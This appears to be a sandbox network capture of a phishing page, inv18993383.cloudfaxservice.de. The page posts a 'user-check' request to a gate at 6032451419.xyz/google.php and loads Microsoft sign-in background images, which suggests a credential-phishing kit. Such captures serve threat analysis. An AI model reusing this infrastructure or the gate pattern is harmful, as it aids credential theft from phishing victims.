2025-03-14 15:05:08 UTC	680	OUT	GET /gh/pranaynamnaik/files@latest/micro-123787483.png HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://inv18993383.cloudfaxservice.de/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:05:08 UTC	689	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 53 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=600, s-maxage=600 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/plain; charset=utf-8 ETag: W/"35-Su9w8wyWNKnBnB1glhnyKiBNAH4" Accept-Ranges: bytes Date: Fri, 14 Mar 2025 15:05:08 GMT Age: 226 X-Served-By: cache-fra-etou8220171-FRA, cache-ewr-kewr1740035-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-03-14 15:05:08 UTC	53	IN	Data Raw: 46 61 69 6c 65 64 20 74 6f 20 66 65 74 63 68 20 76 65 72 73 69 6f 6e 20 69 6e 66 6f 20 66 6f 72 20 70 72 61 6e 61 79 6e 61 6d 6e 61 69 6b 2f 66 69 6c 65 73 2e Data Ascii: Failed to fetch version info for pranaynamnaik/files.

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:05:09 UTC	659	OUT	POST /google.php HTTP/1.1 Host: 6032451419.xyz Connection: keep-alive Content-Length: 13 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 Accept: / Origin: https://inv18993383.cloudfaxservice.de Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://inv18993383.cloudfaxservice.de/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:05:09 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2025-03-14 15:05:09 UTC	299	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 15:05:09 GMT Server: Apache Access-Control-Allow-Origin: https://inv18993383.cloudfaxservice.de Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-14 15:05:09 UTC	27	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 10{"status":false}0

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:05:10 UTC	388	OUT	GET /google.php HTTP/1.1 Host: 6032451419.xyz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:05:10 UTC	150	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 15:05:10 GMT Server: Apache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:05:13 UTC	710	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://inv18993383.cloudfaxservice.de/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:05:13 UTC	612	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Last-Modified: Wed, 15 Jan 2025 17:54:26 GMT ETag: "0x8DD358DA72AAF33" x-ms-request-id: 6e02de99-801e-004d-5976-674e8b000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=26534912 Date: Fri, 14 Mar 2025 15:05:13 GMT Content-Length: 1864 Connection: close Akamai-GRN: 0.783d1602.1741964713.4ab0454
2025-03-14 15:05:13 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:05:14 UTC	459	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:05:14 UTC	612	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Last-Modified: Wed, 15 Jan 2025 17:54:26 GMT ETag: "0x8DD358DA72AAF33" x-ms-request-id: 6e02de99-801e-004d-5976-674e8b000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=26534933 Date: Fri, 14 Mar 2025 15:05:14 GMT Content-Length: 1864 Connection: close Akamai-GRN: 0.8b771002.1741964714.5ed7bcb
2025-03-14 15:05:14 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6